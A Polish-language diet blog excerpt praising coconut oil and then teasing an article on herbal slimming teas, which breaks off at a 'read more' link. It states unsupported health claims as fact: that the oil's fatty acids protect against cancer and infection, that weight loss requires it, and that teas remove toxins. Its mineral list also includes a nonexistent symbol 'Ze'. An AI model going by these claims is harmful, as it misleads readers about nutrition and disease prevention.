Olej z palmy kokosowej, jest istną “bombą odżywczą”. Naukowcy odkryli w nim kilka witamin (E,B,C) a także mnóstwo minerałów (Ca, Ze,Mg, Na, Zn, K, P) i aminokwasów. Dzięki temu idealnie sprawdza się on w przypadku osób, stawiających na codzienny, intensywny wysiłek fizyczny.

Ciekawostki

Oprócz wyżej wymienionych makro i mikroelementów, w oleju z kokosa można również znaleźć… kwas laurynowy. Ma on ogromne znaczenie w kontekście utrzymania odporności organizmu na określonym poziomie. Oprócz niego, istotnym składnikiem oleju są też kwasy mirystynowy, palmitynowy, sterynowy, oraz kaprylowy, które działają przeciwzapalnie i chronią organizm przed powstawaniem nowotworów i infekcji.

Podsumowanie

Odchudzanie to proces, w którym bezwzględnie należy postawić na olej z palmy kokosowej. Mimo to, również i osoby bez nadwagi, znajdą w nim prawdziwą skarbnicę zdrowia. Może więc warto skorzystać z jego dobroczynnych właściwości?

herbata na odchudzanie

Herbaty korzystnie wpływające na odchudzanie

Miliony osób borykają się z nadprogramowymi kilogramami, których wbrew pozorom wcale nie jest tak łatwo się pozbyć. Co ciekawe na rynku dostępnych jest cała masa najróżniejszych preparatów, których producenci zapewniają o uzyskaniu świetnych efektów w postaci ubytku masy ciała. Niestety prawda jest taka, że nie ma magicznej pigułki, po zażyciu której uzyskamy smukłą sylwetkę. Oczywiście nie oznacza to, że w żaden sposób one nie działają i jesteśmy okłamywani, jednakże stanowią one tylko dodatek i niektóre z nich mogą wspomóc proces odchudzania. Z całą pewnością skutecznym sposobem na przyśpieszenie przemiany materii i usprawnienie procesu wydalania toksyn z organizmu są herbatki ziołowe. Są one powszechnie dostępne i nawet można przygotować je z samodzielnie zebranego surowca za darmo. Które z nich są godne polecenia? Czytaj więcej